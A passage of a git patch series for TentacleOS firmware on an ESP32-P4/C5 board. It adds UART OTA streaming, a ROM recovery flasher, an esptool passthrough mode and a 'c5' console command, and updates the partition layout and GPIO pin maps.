(esp_ota_begin) and signal ready + // before streaming - sending during the erase would lose blocks. + uint8_t begin = 0; + int bn = uart_read_bytes(OTA_UART, &begin, 1, pdMS_TO_TICKS(OTA_BEGIN_TIMEOUT_MS)); + if (bn != 1 || begin != OTA_ACK) { + if (bn != 1) + ESP_LOGE(TAG, + "C5 not ready after begin: no reply within %d ms (erase too slow, or C5 hung)", + OTA_BEGIN_TIMEOUT_MS); + else + ESP_LOGE(TAG, "C5 not ready after begin: got 0x%02X, want ACK 0x%02X", begin, OTA_ACK); + return ESP_FAIL; + } + ESP_LOGI(TAG, "C5 erased its OTA slot - streaming %lu bytes (block=%d)...", + (unsigned long)bin_size, OTA_BLOCK); + uint32_t off = 0; + uint32_t t_stream0 = xTaskGetTickCount(); + s_ota_total = bin_size; // UI progress bar can start tracking now + s_ota_sent = 0; + while (off < bin_size) { + uint32_t chunk = (bin_size - off > OTA_BLOCK) ? OTA_BLOCK : bin_size - off; + int w = uart_write_bytes(OTA_UART, (const char *)(bin_data + off), chunk); + if (w < 0) { + ESP_LOGE(TAG, "uart_write_bytes failed @ %lu", (unsigned long)off); + return ESP_FAIL; } - memcpy(block, img->data + written, chunk); - if (esp_loader_flash_write(block, chunk) != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "flash_write failed for %s at offset %lu", img->name, (unsigned long)written); + uart_wait_tx_done(OTA_UART, pdMS_TO_TICKS(2000)); + + // Wait for the C5 to ACK this block before sending the next (flow control). + uint8_t r = 0; + int n = uart_read_bytes(OTA_UART, &r, 1, pdMS_TO_TICKS(OTA_BLOCK_TIMEOUT_MS)); + if (n != 1 || r != OTA_ACK) { + if (n == 1 && r == OTA_NAK) { + ESP_LOGE(TAG, "C5 NAK at block @ %lu", (unsigned long)off); + } else { + ESP_LOGE(TAG, "no block ACK @ %lu (n=%d r=0x%02X)", (unsigned long)off, n, r); + } return ESP_FAIL; } - written += chunk; + + off += chunk; + s_ota_sent = off; // feeds the UI progress bar + if ((off & 0x3FFFF) < OTA_BLOCK || off == bin_size) { + ESP_LOGI(TAG, " sent %lu/%lu (%lu%%)", (unsigned long)off, (unsigned long)bin_size, + (unsigned long)((uint64_t)off * 100 / bin_size)); + } } + uint32_t stream_ms = pdTICKS_TO_MS(xTaskGetTickCount() - t_stream0); + ESP_LOGI(TAG, "Image sent in %lu ms (%lu B/s) - waiting for C5 to verify and ACK...", + (unsigned long)stream_ms, + stream_ms ? (unsigned long)((uint64_t)bin_size * 1000 / stream_ms) : 0UL); -#if MD5_ENABLED - if (esp_loader_flash_verify() != ESP_LOADER_SUCCESS) { - ESP_LOGE(TAG, "MD5 verification failed for %s", img->name); - return ESP_FAIL; + uint8_t resp = 0; + int n = uart_read_bytes(OTA_UART, &resp, 1, pdMS_TO_TICKS(OTA_ACK_TIMEOUT_MS)); + if (n == 1 && resp == OTA_ACK) { + ESP_LOGI(TAG, "C5 ACK - OTA applied, C5 rebooting into new firmware"); + return ESP_OK; + } + if (n == 1 && resp == OTA_NAK) { + ESP_LOGE(TAG, "C5 NAK - OTA rejected (image invalid or transfer error)"); + } else { + ESP_LOGE(TAG, "no ACK from C5 (n=%d resp=0x%02X)", n, resp); } + return ESP_FAIL; #endif - - return ESP_OK; } diff --git a/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h b/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h index 3259b76ba..c4f9e4807 100644 --- a/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h +++ b/firmware_p4/components/Service/c5_flasher/include/c5_flasher.h @@ -24,28 +24,55 @@ extern "C" { #include "esp_err.h" -/** - * @brief Initialize the UART/GPIO serial-flasher port for the C5. - * - * Wraps esp-serial-flasher's ESP32 port (UART + reset/boot GPIOs). - * - * @return ESP_OK on success, or an error code. - */ +// Initialise the UART used to push firmware to the C5 (UART1 on +// GPIO_C5_UART_TX/RX_PIN, wired to the C5's UART0). esp_err_t c5_flasher_init(void); -/** - * @brief Flash the C5 firmware over UART via esp-serial-flasher. - * - * If bin_data is NULL and C5_FIRMWARE_EMBEDDED is defined, flashes the full - * embedded image (bootloader + partition table + app) linked at build time. - * If bin_data is non-NULL, flashes that blob to the C5 application offset. - * - * @param bin_data Pointer to an app binary, or NULL to use the embedded image. - * @param bin_size Size of the binary in bytes (ignored when bin_data is NULL). - * @return ESP_OK on success, or an error code. - */ +// Push a new C5 app image to the C5 over UART using the OTA receiver running on +// the C5. The image is streamed to the C5's inactive OTA partition; the C5 +// validates it, sets it as the boot partition and reboots. No ROM download mode +// and no BOOT/RESET pins are involved - the C5 keeps running its app until the +// final reboot, so a failed transfer is harmless (the old slot still boots). +// +// If bin_data is NULL and C5_FIRMWARE_EMBEDDED is set, the embedded C5 app image +// is used. Returns ESP_OK only after the C5 ACKs a verified image. esp_err_t c5_flasher_update(const uint8_t *bin_data, uint32_t bin_size); +// Live OTA progress for the UI progress bar. *sent / *total are bytes; total is +// 0 until streaming begins (during handshake/erase). Safe to call from another +// task while c5_flasher_update() runs. +void c5_flasher_progress(uint32_t *sent, uint32_t *total); + +// Ask the running C5 to reboot into ROM serial-download mode over the SPI bridge +// (SPI_ID_SYSTEM_ENTER_DOWNLOAD). After this the C5 is no longer running its app +// (OTA receiver gone); use c5_flasher_rom_flash() or passthrough to reflash it. +// Returns ESP_OK if the C5 acked before rebooting. +esp_err_t c5_flasher_enter_download(void); + +// Release the P4's C5-UART lines: delete the UART1 driver (if installed) and +// tri-state GPIO_C5_UART_TX_PIN (38) and GPIO_C5_UART_RX_PIN (39) as floating +// inputs, so an external USB-serial programmer can own the C5 UART. Reboot the +// P4 to restore normal C5 comms. +void c5_flasher_release_uart(void); + +// Flash a blank/bricked C5 from scratch over UART by speaking the ROM +// serial-bootloader protocol itself (via esp-serial-flasher) - no PC/esptool. +// Writes bootloader + partition-table + otadata + app, all embedded in the P4. +// +// PRECONDITION: the C5 must already be in ROM download mode - either strap it +// manually, or call c5_flasher_enter_download() first on a C5 still running its +// app. Returns ESP_OK only after every region is written and MD5-verified. +// Requires C5_ROM_IMAGES_EMBEDDED; otherwise ESP_ERR_NOT_FOUND. +esp_err_t c5_flasher_rom_flash(void); + +// Enter "esptool passthrough" mode: forwards bytes between the P4's console +// UART (the host PC's USB-serial connection) and the C5's UART0, so the host +// can run esptool directly against the C5's ROM bootloader through the P4. +// Used to flash a blank C5 the first time. Never returns: it kills the console +// REPL, disables UART logs, and runs forever. Reboot the P4 (or press BACK) to +// exit. +void c5_passthrough_run(void) __attribute__((noreturn)); + #ifdef __cplusplus } #endif From 61fb673b1eeb33c3588e27e5067cea381f4b3462 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 078/572] feat(c5-flasher): ROM recovery flash and esptool passthrough --- .../Service/c5_flasher/c5_passthrough.c | 107 ++++++++ .../Service/c5_flasher/c5_rom_flasher.c | 238 ++++++++++++++++++ .../Service/console/console_service.c | 12 + .../Service/console/include/console_service.h | 5 + firmware_p4/main/idf_component.yml | 2 +- 5 files changed, 363 insertions(+), 1 deletion(-) create mode 100644 firmware_p4/components/Service/c5_flasher/c5_passthrough.c create mode 100644 firmware_p4/components/Service/c5_flasher/c5_rom_flasher.c diff --git a/firmware_p4/components/Service/c5_flasher/c5_passthrough.c b/firmware_p4/components/Service/c5_flasher/c5_passthrough.c new file mode 100644 index 000000000..bf9166e29 --- /dev/null +++ b/firmware_p4/components/Service/c5_flasher/c5_passthrough.c @@ -0,0 +1,107 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "c5_flasher.h" + +#include + +#include "driver/uart.h" +#include "esp_log.h" +#include "esp_system.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "buttons_gpio.h" +#include "console_service.h" +#include "pin_def.h" + +// The P4 console UART0 and the C5's UART0 share a trace on the V2 board: the +// host PC's USB-serial TX and the C5's RX sit on the same net, so a byte the +// host sends physically reaches both the P4 (console RX) and the C5 (RX) at +// once - host->C5 needs no forwarding. Only C5->host must be forwarded in +// software: the C5's TX lands on the P4's UART1 RX (GPIO_C5_UART_RX_PIN), and we +// copy it out of UART0 TX so the host sees it. +// +// While passthrough is active the P4 must NOT drive the shared line, so UART1 +// here is RX-only (no TX pin routed). + +#define HOST_UART UART_NUM_0 +#define C5_UART UART_NUM_1 +#define UART_BAUD 115200 +#define UART_BUF_BYTES 4096 + +void c5_passthrough_run(void) { + // 1. Tear down the console REPL so it stops consuming bytes from UART0. + console_service_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + + // 2. Silence ESP logging - esptool expects a clean SLIP stream on UART0. + esp_log_level_set("*", ESP_LOG_NONE); + + // 3. UART0 (host PC) - keep the chip-default console pins. Reinstall the + // driver so this task owns the RX queue. + uart_driver_delete(HOST_UART); + uart_config_t host_cfg = { + .baud_rate = UART_BAUD, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .source_clk = UART_SCLK_DEFAULT, + }; + uart_driver_install(HOST_UART, UART_BUF_BYTES, UART_BUF_BYTES, 0, NULL, 0); + uart_param_config(HOST_UART, &host_cfg); + uart_set_pin(HOST_UART, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE, + UART_PIN_NO_CHANGE); + + // 4. UART1 (C5) - RX-only on GPIO_C5_UART_RX_PIN (= C5 TX). DO NOT route TX, + // the shared line must stay a passive input here (see header comment). + uart_driver_delete(C5_UART); + uart_config_t c5_cfg = host_cfg; + uart_driver_install(C5_UART, UART_BUF_BYTES, 0, 0, NULL, 0); + uart_param_config(C5_UART, &c5_cfg); + uart_set_pin(C5_UART, UART_PIN_NO_CHANGE, GPIO_C5_UART_RX_PIN, UART_PIN_NO_CHANGE, + UART_PIN_NO_CHANGE); + + const char *banner = "\r\n\r\n" + "*** C5 esptool passthrough active.\r\n" + "*** Run on the host:\r\n" + "*** esptool.py --chip esp32c5 -p -b 115200 write_flash 0x0 " + "\r\n" + "*** Press the BACK button on the device to reboot and exit.\r\n\r\n"; + uart_write_bytes(HOST_UART, banner, strlen(banner)); + + // 5. Forward C5 -> host forever. Small reads keep latency low so esptool + // doesn't time out waiting for the C5's SLIP response. + static uint8_t buf[512]; + uint32_t last_btn_poll = 0; + while (true) { + int n = uart_read_bytes(C5_UART, buf, sizeof(buf), pdMS_TO_TICKS(10)); + if (n > 0) { + uart_write_bytes(HOST_UART, (const char *)buf, n); + } + // Poll BACK button about 10x/s. Pressed -> reboot to exit passthrough. + uint32_t now = xTaskGetTickCount(); + if (pdTICKS_TO_MS(now - last_btn_poll) > 100) { + last_btn_poll = now; + if (back_button_is_down()) { + const char *bye = "\r\n*** Passthrough exiting - rebooting...\r\n"; + uart_write_bytes(HOST_UART, bye, strlen(bye)); + uart_wait_tx_done(HOST_UART, pdMS_TO_TICKS(500)); + esp_restart(); + } + } + } +} diff --git a/firmware_p4/components/Service/c5_flasher/c5_rom_flasher.c b/firmware_p4/components/Service/c5_flasher/c5_rom_flasher.c new file mode 100644 index 000000000..22d89c887 --- /dev/null +++ b/firmware_p4/components/Service/c5_flasher/c5_rom_flasher.c @@ -0,0 +1,238 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +// Bare-metal C5 flasher: the P4 talks the ESP ROM serial-bootloader protocol +// directly to the C5 over UART1 (via esp-serial-flasher), writing a full image +// set (bootloader + partition table + otadata + app) to a blank/bricked C5 - +// no PC and no esptool. The OTA path in c5_flasher.c stays the fast option for +// a C5 that is still running its app; this is the recovery path. + +#include "c5_flasher.h" + +#include + +#include "driver/uart.h" +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" + +#include "pin_def.h" + +#if C5_ROM_IMAGES_EMBEDDED +#include "esp32_port.h" +#include "esp_loader.h" +#endif + +static const char *TAG = "C5_ROM"; + +#if !C5_ROM_IMAGES_EMBEDDED + +esp_err_t c5_flasher_rom_flash(void) { + ESP_LOGE(TAG, "C5 ROM images not embedded - build firmware_c5 and rebuild the P4"); + return ESP_ERR_NOT_FOUND; +} + +#else // C5_ROM_IMAGES_EMBEDDED + +// Images embedded by components/Service/CMakeLists.txt (target_add_binary_data). +// Symbol names follow the binary basename, with non-identifier chars -> '_'. +extern const uint8_t c5_app_start[] asm("_binary_TentacleOS_C5_bin_start"); +extern const uint8_t c5_app_end[] asm("_binary_TentacleOS_C5_bin_end"); +extern const uint8_t c5_bl_start[] asm("_binary_bootloader_bin_start"); +extern const uint8_t c5_bl_end[] asm("_binary_bootloader_bin_end"); +extern const uint8_t c5_pt_start[] asm("_binary_partition_table_bin_start"); +extern const uint8_t c5_pt_end[] asm("_binary_partition_table_bin_end"); +extern const uint8_t c5_otad_start[] asm("_binary_ota_data_initial_bin_start"); +extern const uint8_t c5_otad_end[] asm("_binary_ota_data_initial_bin_end"); + +#define C5_ROM_UART UART_NUM_1 +// The C5 on the V2 board has a 48 MHz crystal, so its ROM bootloader runs at an +// effective baud of 115200 * 48/40 = 138240. 115200 produces garbled framing +// ("Invalid head of packet"); 138240 connects cleanly. (The OTA path stays at +// 115200 - it talks to the C5 app, which sets up its UART correctly.) +#define C5_ROM_BAUD 138240 +// ROM (stubless) accepts modest data blocks; 1024 is the safe, well-tested size. +#define C5_ROM_BLOCK 1024 + +// The stock esp32_uart_ops configures reset_pin/boot_pin as outputs in init() +// and toggles them to drive the target into download mode. The V2 board has NO +// P4->C5 reset/boot line, so we run a custom ops table that reuses +// esp32_uart_ops for everything EXCEPT init (UART-only, no GPIO) and +// enter_bootloader/reset_target (no-ops). Nothing but TX/RX is ever touched; +// the C5 is placed into download mode over SPI (or by hand) beforehand. + +static esp_loader_error_t rom_uart_only_init(esp_loader_port_t *port) { + esp32_port_t *p = container_of(port, esp32_port_t, port); + const uart_config_t cfg = { + .baud_rate = (int)p->baud_rate, + .data_bits = UART_DATA_8_BITS, + .parity = UART_PARITY_DISABLE, + .stop_bits = UART_STOP_BITS_1, + .flow_ctrl = UART_HW_FLOWCTRL_DISABLE, + .source_clk = UART_SCLK_DEFAULT, + }; + if (uart_param_config((uart_port_t)p->uart_port, &cfg) != ESP_OK) + return ESP_LOADER_ERROR_FAIL; + if (uart_set_pin((uart_port_t)p->uart_port, (int)p->uart_tx_pin, (int)p->uart_rx_pin, + UART_PIN_NO_CHANGE, UART_PIN_NO_CHANGE) != ESP_OK) + return ESP_LOADER_ERROR_FAIL; + uint32_t rx = p->rx_buffer_size ? p->rx_buffer_size : 2048; + if (uart_driver_install((uart_port_t)p->uart_port, rx, 0, 0, NULL, 0) != ESP_OK) + return ESP_LOADER_ERROR_FAIL; + p->_peripheral_needs_deinit = true; // let esp32_port_deinit() free the driver + return ESP_LOADER_SUCCESS; +} + +static void rom_noop_port(esp_loader_port_t *port) { (void)port; } + +// Initialized at runtime from esp32_uart_ops, then three callbacks overridden. +static esp_loader_port_ops_t s_rom_ops; + +// C5 flash layout - must match firmware_c5/build/flasher_args.json. +typedef struct { + uint32_t offset; + const uint8_t *data; + uint32_t size; + const char *name; +} c5_region_t; + +// Flash one region, padding the tail up to a 4-byte boundary with 0xFF (the +// ROM requires 4-byte-aligned image sizes). MD5 is verified by +// esp_loader_flash_finish(). +static esp_err_t flash_one_region(esp_loader_t *loader, const c5_region_t *r) { + static uint8_t block[C5_ROM_BLOCK]; + const uint32_t padded = (r->size + 3u) & ~3u; + + esp_loader_flash_cfg_t cfg = { + .offset = r->offset, + .image_size = padded, + .block_size = C5_ROM_BLOCK, + .skip_verify = false, + }; + ESP_LOGI(TAG, " '%s' @ 0x%05lX: %lu bytes", r->name, (unsigned long)r->offset, + (unsigned long)r->size); + + esp_loader_error_t e = esp_loader_flash_start(loader, &cfg); + if (e != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, " flash_start('%s') failed: loader err %d", r->name, (int)e); + return ESP_FAIL; + } + + uint32_t off = 0; + while (off < padded) { + uint32_t n = (padded - off > C5_ROM_BLOCK) ? C5_ROM_BLOCK : (padded - off); + for (uint32_t i = 0; i < n; i++) { + uint32_t src = off + i; + block[i] = (src < r->size) ? r->data[src] : 0xFF; // 0xFF pad past EOF + } + e = esp_loader_flash_write(loader, &cfg, block, n); + if (e != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, " flash_write('%s') @ %lu failed: loader err %d", r->name, + (unsigned long)off, (int)e); + return ESP_FAIL; + } + off += n; + if ((off & 0x3FFFF) < C5_ROM_BLOCK || off == padded) + ESP_LOGI(TAG, " %s %lu/%lu (%lu%%)", r->name, (unsigned long)off, (unsigned long)padded, + (unsigned long)((uint64_t)off * 100 / padded)); + } + + e = esp_loader_flash_finish(loader, &cfg); // sends flash-end + verifies MD5 + if (e != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, " flash_finish('%s') failed (MD5 mismatch / timeout): loader err %d", r->name, + (int)e); + return ESP_FAIL; + } + ESP_LOGI(TAG, " '%s' OK (verified)", r->name); + return ESP_OK; +} + +esp_err_t c5_flasher_rom_flash(void) { + // esp-serial-flasher installs its own UART1 driver. If the OTA path left the + // driver installed, remove it first so the loader port can own it cleanly. + if (uart_is_driver_installed(C5_ROM_UART)) + uart_driver_delete(C5_ROM_UART); + + // Build our GPIO-safe ops: reuse the stock UART read/write/timer/log, but + // replace init + reset/boot toggles so nothing outside TX/RX is ever driven. + s_rom_ops = esp32_uart_ops; + s_rom_ops.init = rom_uart_only_init; + s_rom_ops.enter_bootloader = rom_noop_port; + s_rom_ops.reset_target = rom_noop_port; + + esp32_port_t port = { + .port.ops = &s_rom_ops, + .baud_rate = C5_ROM_BAUD, + .uart_port = C5_ROM_UART, + .uart_rx_pin = GPIO_C5_UART_RX_PIN, + .uart_tx_pin = GPIO_C5_UART_TX_PIN, + .reset_pin = GPIO_NUM_NC, // unused - rom ops never touch reset/boot + .boot_pin = GPIO_NUM_NC, + .rx_buffer_size = 0, + .tx_buffer_size = 0, + .queue_size = 0, + .uart_queue = NULL, + .dont_initialize_peripheral = false, + }; + + esp_loader_t loader; + esp_loader_error_t e = esp_loader_init_serial(&loader, &port.port); + if (e != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "esp_loader_init_serial failed: loader err %d", (int)e); + return ESP_FAIL; + } + + ESP_LOGI(TAG, "Connecting to C5 ROM bootloader on UART%d @ %d (TX=GPIO%d/RX=GPIO%d)...", + C5_ROM_UART, C5_ROM_BAUD, GPIO_C5_UART_TX_PIN, GPIO_C5_UART_RX_PIN); + + esp_loader_connect_args_t cargs = ESP_LOADER_CONNECT_DEFAULT(); + e = esp_loader_connect(&loader, &cargs); + if (e != ESP_LOADER_SUCCESS) { + ESP_LOGE(TAG, "connect failed: loader err %d", (int)e); + ESP_LOGE(TAG, " is the C5 in ROM download mode? (call c5_flasher_enter_download() first,"); + ESP_LOGE(TAG, " or strap C5 GPIO28->GND and power-cycle it)"); + esp_loader_deinit(&loader); + return ESP_FAIL; + } + ESP_LOGI(TAG, "Connected. target_chip id=%d (ESP32C5 expected = %d)", + (int)esp_loader_get_target(&loader), (int)ESP32C5_CHIP); + + const c5_region_t regions[] = { + {0x2000, c5_bl_start, (uint32_t)(c5_bl_end - c5_bl_start), "bootloader"}, + {0x8000, c5_pt_start, (uint32_t)(c5_pt_end - c5_pt_start), "partition-table"}, + {0xf000, c5_otad_start, (uint32_t)(c5_otad_end - c5_otad_start), "otadata"}, + {0x20000, c5_app_start, (uint32_t)(c5_app_end - c5_app_start), "app"}, + }; + + esp_err_t r = ESP_OK; + uint32_t t0 = xTaskGetTickCount(); + for (size_t i = 0; i < sizeof(regions) / sizeof(regions[0]); i++) { + r = flash_one_region(&loader, ®ions[i]); + if (r != ESP_OK) + break; + } + + if (r == ESP_OK) { + uint32_t ms = pdTICKS_TO_MS(xTaskGetTickCount() - t0); + ESP_LOGI(TAG, "C5 flashed + verified in %lu ms.", (unsigned long)ms); + ESP_LOGI(TAG, "Power-cycle the C5 (no reset line on V2) to boot the new firmware."); + esp_loader_reset_target(&loader); // no-op without a real reset line - harmless + } + + esp_loader_deinit(&loader); // releases the UART1 driver + return r; +} + +#endif // C5_ROM_IMAGES_EMBEDDED diff --git a/firmware_p4/components/Service/console/console_service.c b/firmware_p4/components/Service/console/console_service.c index e2ca00d4f..c5391f846 100644 --- a/firmware_p4/components/Service/console/console_service.c +++ b/firmware_p4/components/Service/console/console_service.c @@ -27,6 +27,8 @@ static const char *TAG = "CONSOLE"; +static esp_console_repl_t *s_repl = NULL; + esp_err_t console_service_init(void) { esp_console_repl_t *repl = NULL; esp_console_repl_config_t repl_config = ESP_CONSOLE_REPL_CONFIG_DEFAULT(); @@ -62,7 +64,17 @@ esp_err_t console_service_init(void) { #endif ESP_ERROR_CHECK(esp_console_start_repl(repl)); + s_repl = repl; ESP_LOGI(TAG, "Console started. Type 'help' for commands."); return ESP_OK; } + +void console_service_stop(void) { + // Tear down the REPL so it stops consuming the console UART - used before C5 + // passthrough hands UART0 over to an external esptool session. + if (s_repl != NULL && s_repl->del != NULL) { + s_repl->del(s_repl); + s_repl = NULL; + } +} diff --git a/firmware_p4/components/Service/console/include/console_service.h b/firmware_p4/components/Service/console/include/console_service.h index 10366abd5..207feddaa 100644 --- a/firmware_p4/components/Service/console/include/console_service.h +++ b/firmware_p4/components/Service/console/include/console_service.h @@ -34,6 +34,11 @@ esp_err_t console_service_init(void); */ void console_service_start(void); +/** + * @brief Stop and delete the console REPL (frees the console UART). + */ +void console_service_stop(void); + /** * @brief Register filesystem commands (ls, cd, pwd, cat). */ diff --git a/firmware_p4/main/idf_component.yml b/firmware_p4/main/idf_component.yml index 7e9036aca..27b47635d 100644 --- a/firmware_p4/main/idf_component.yml +++ b/firmware_p4/main/idf_component.yml @@ -7,4 +7,4 @@ dependencies: espressif/cjson: ^1.7.19 espressif/argtable3: ^3.3 espressif/libsodium: ^1.0.22 - espressif/esp-serial-flasher: ^1.11.0 + espressif/esp-serial-flasher: ^2.0.0 From 01c18cb023345043d7bd3b20446dd058812e8369 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 16:28:51 -0300 Subject: [PATCH 079/572] feat(console): c5 firmware-update command --- .../Service/console/commands/cmd_system.c | 50 +++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/firmware_p4/components/Service/console/commands/cmd_system.c b/firmware_p4/components/Service/console/commands/cmd_system.c index cb647a21b..032656b62 100644 --- a/firmware_p4/components/Service/console/commands/cmd_system.c +++ b/firmware_p4/components/Service/console/commands/cmd_system.c @@ -16,6 +16,7 @@ #include "console_service.h" #include +#include #include "esp_console.h" #include "esp_heap_caps.h" @@ -24,11 +25,52 @@ #include "freertos/FreeRTOS.h" #include "freertos/task.h" +#include "c5_flasher.h" #include "spi_bridge.h" #include "spi_protocol.h" static const char *TAG = "CMD_SYSTEM"; +static int cmd_c5(int argc, char **argv) { + if (argc < 2) { + printf("usage: c5 \n"); + printf(" ota push embedded C5 image over UART (C5 must run its app)\n"); + printf(" download ask the running C5 to enter ROM download mode (SPI)\n"); + printf(" rom serial-flash a C5 already in download mode (recovery)\n"); + printf(" passthrough bridge host esptool <-> C5 (never returns; BACK reboots)\n"); + printf(" release tri-state the C5 UART lines for an external programmer\n"); + return 1; + } + if (strcmp(argv[1], "ota") == 0) { + c5_flasher_init(); + esp_err_t r = c5_flasher_update(NULL, 0); + printf("C5 OTA: %s\n", esp_err_to_name(r)); + return r == ESP_OK ? 0 : 1; + } + if (strcmp(argv[1], "download") == 0) { + esp_err_t r = c5_flasher_enter_download(); + printf("C5 enter-download: %s\n", esp_err_to_name(r)); + return r == ESP_OK ? 0 : 1; + } + if (strcmp(argv[1], "rom") == 0) { + c5_flasher_init(); + esp_err_t r = c5_flasher_rom_flash(); + printf("C5 ROM flash: %s\n", esp_err_to_name(r)); + return r == ESP_OK ? 0 : 1; + } + if (strcmp(argv[1], "passthrough") == 0) { + printf("Entering C5 passthrough. Reboot (or BACK) to exit.\n"); + c5_passthrough_run(); // never returns + return 0; + } + if (strcmp(argv[1], "release") == 0) { + c5_flasher_release_uart(); + return 0; + } + printf("unknown subcommand '%s'\n", argv[1]); + return 1; +} + static int cmd_free(int argc, char **argv) { printf("Internal RAM:\n"); printf(" Free: %lu bytes\n", (unsigned long)heap_caps_get_free_size(MALLOC_CAP_INTERNAL)); @@ -144,4 +186,12 @@ void register_system_commands(void) { .func = &cmd_restart, }; ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_restart_def)); + + const esp_console_cmd_t cmd_c5_def = { + .command = "c5", + .help = "C5 firmware update: ota | download | rom | passthrough | release", + .hint = NULL, + .func = &cmd_c5, + }; + ESP_ERROR_CHECK(esp_console_cmd_register(&cmd_c5_def)); } From 06dee434175c4f437f1d6cabea0ea7b1ac1c5fbc Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:09:37 -0300 Subject: [PATCH 080/572] build(c5): lean OTA partition layout without storage/assets --- firmware_c5/CMakeLists.txt | 33 +++------------------------------ firmware_c5/partitions.csv | 2 -- 2 files changed, 3 insertions(+), 32 deletions(-) diff --git a/firmware_c5/CMakeLists.txt b/firmware_c5/CMakeLists.txt index ab4f82484..783fc4c59 100644 --- a/firmware_c5/CMakeLists.txt +++ b/firmware_c5/CMakeLists.txt @@ -12,33 +12,6 @@ include($ENV{IDF_PATH}/tools/cmake/project.cmake) project(TentacleOS_C5) -if(CMAKE_HOST_SYSTEM_NAME STREQUAL "Windows") - # Windows Detection - message(STATUS "Host System: Windows. Using PowerShell script.") - set(CONVERT_SCRIPT "${CMAKE_SOURCE_DIR}/../tools/png_to_bin/png_conversor_to_bin.ps1") - set(CONVERT_COMMAND powershell.exe -ExecutionPolicy Bypass -File "${CONVERT_SCRIPT}") - -elseif(CMAKE_HOST_SYSTEM_NAME STREQUAL "Linux" OR CMAKE_HOST_SYSTEM_NAME STREQUAL "Darwin") - # Linux or macOS Detection - message(STATUS "Host System: ${CMAKE_HOST_SYSTEM_NAME}. Using Bash script.") - set(CONVERT_SCRIPT "${CMAKE_SOURCE_DIR}/../tools/png_to_bin/png_conversor_to_bin.sh") - set(CONVERT_COMMAND bash "${CONVERT_SCRIPT}") - -else() - message(FATAL_ERROR "Unsupported Operating System: ${CMAKE_HOST_SYSTEM_NAME}") -endif() - -# Execute the conversion process -execute_process( - COMMAND ${CONVERT_COMMAND} - WORKING_DIRECTORY "${CMAKE_SOURCE_DIR}" - RESULT_VARIABLE convert_result -) - -if(NOT convert_result EQUAL 0) - message(FATAL_ERROR "Failed to convert assets. Check the logs above for details.") -endif() - -# ============================================================================== - -littlefs_create_partition_image(assets temp FLASH_IN_PROJECT) \ No newline at end of file +# dev-v1 variant: no `assets`/`storage` partitions (lean OTA layout), so the +# asset conversion + littlefs image generation are dropped. Evil Twin / Beacon +# Spam and scan-saving degrade gracefully (their partitions are absent). \ No newline at end of file diff --git a/firmware_c5/partitions.csv b/firmware_c5/partitions.csv index 6a7c35c0e..b3518136f 100644 --- a/firmware_c5/partitions.csv +++ b/firmware_c5/partitions.csv @@ -4,5 +4,3 @@ otadata, data, ota, 0xf000, 8K, phy_init, data, phy, 0x11000, 4K, ota_0, app, ota_0, 0x20000, 2M, ota_1, app, ota_1, 0x220000, 2M, -storage, data, fat, 0x420000, 2M, -assets, data, littlefs, 0x620000, 1920K, From 2140631e38fbd659e18097e3ec14b1ce52acf263 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Mon, 13 Jul 2026 17:19:48 -0300 Subject: [PATCH 081/572] chore(pins): adopt HighBoy V2 PCB GPIO map --- .../components/Drivers/pins/include/pin_def.h | 10 +-- .../components/Drivers/pins/include/pin_def.h | 62 +++++++++---------- 2 files changed, 36 insertions(+), 36 deletions(-) diff --git a/firmware_c5/components/Drivers/pins/include/pin_def.h b/firmware_c5/components/Drivers/pins/include/pin_def.h index 690022f5a..ab272ab39 100644 --- a/firmware_c5/components/Drivers/pins/include/pin_def.h +++ b/firmware_c5/components/Drivers/pins/include/pin_def.h @@ -60,14 +60,14 @@ extern "C" { #define GPIO_I2C_SCL_PIN 9 // RGB LED (WS2812 / SK6812) -#define GPIO_LED_RGB_PIN 45 +#define GPIO_LED_RGB_PIN 27 #define LED_COUNT 1 // P4-C5 Bridge SPI (Slave) -#define GPIO_BRIDGE_SCLK_PIN 6 -#define GPIO_BRIDGE_MOSI_PIN 7 -#define GPIO_BRIDGE_MISO_PIN 2 -#define GPIO_BRIDGE_CS_PIN 10 +#define GPIO_BRIDGE_SCLK_PIN 26 +#define GPIO_BRIDGE_MOSI_PIN 25 +#define GPIO_BRIDGE_MISO_PIN 24 +#define GPIO_BRIDGE_CS_PIN 23 #define 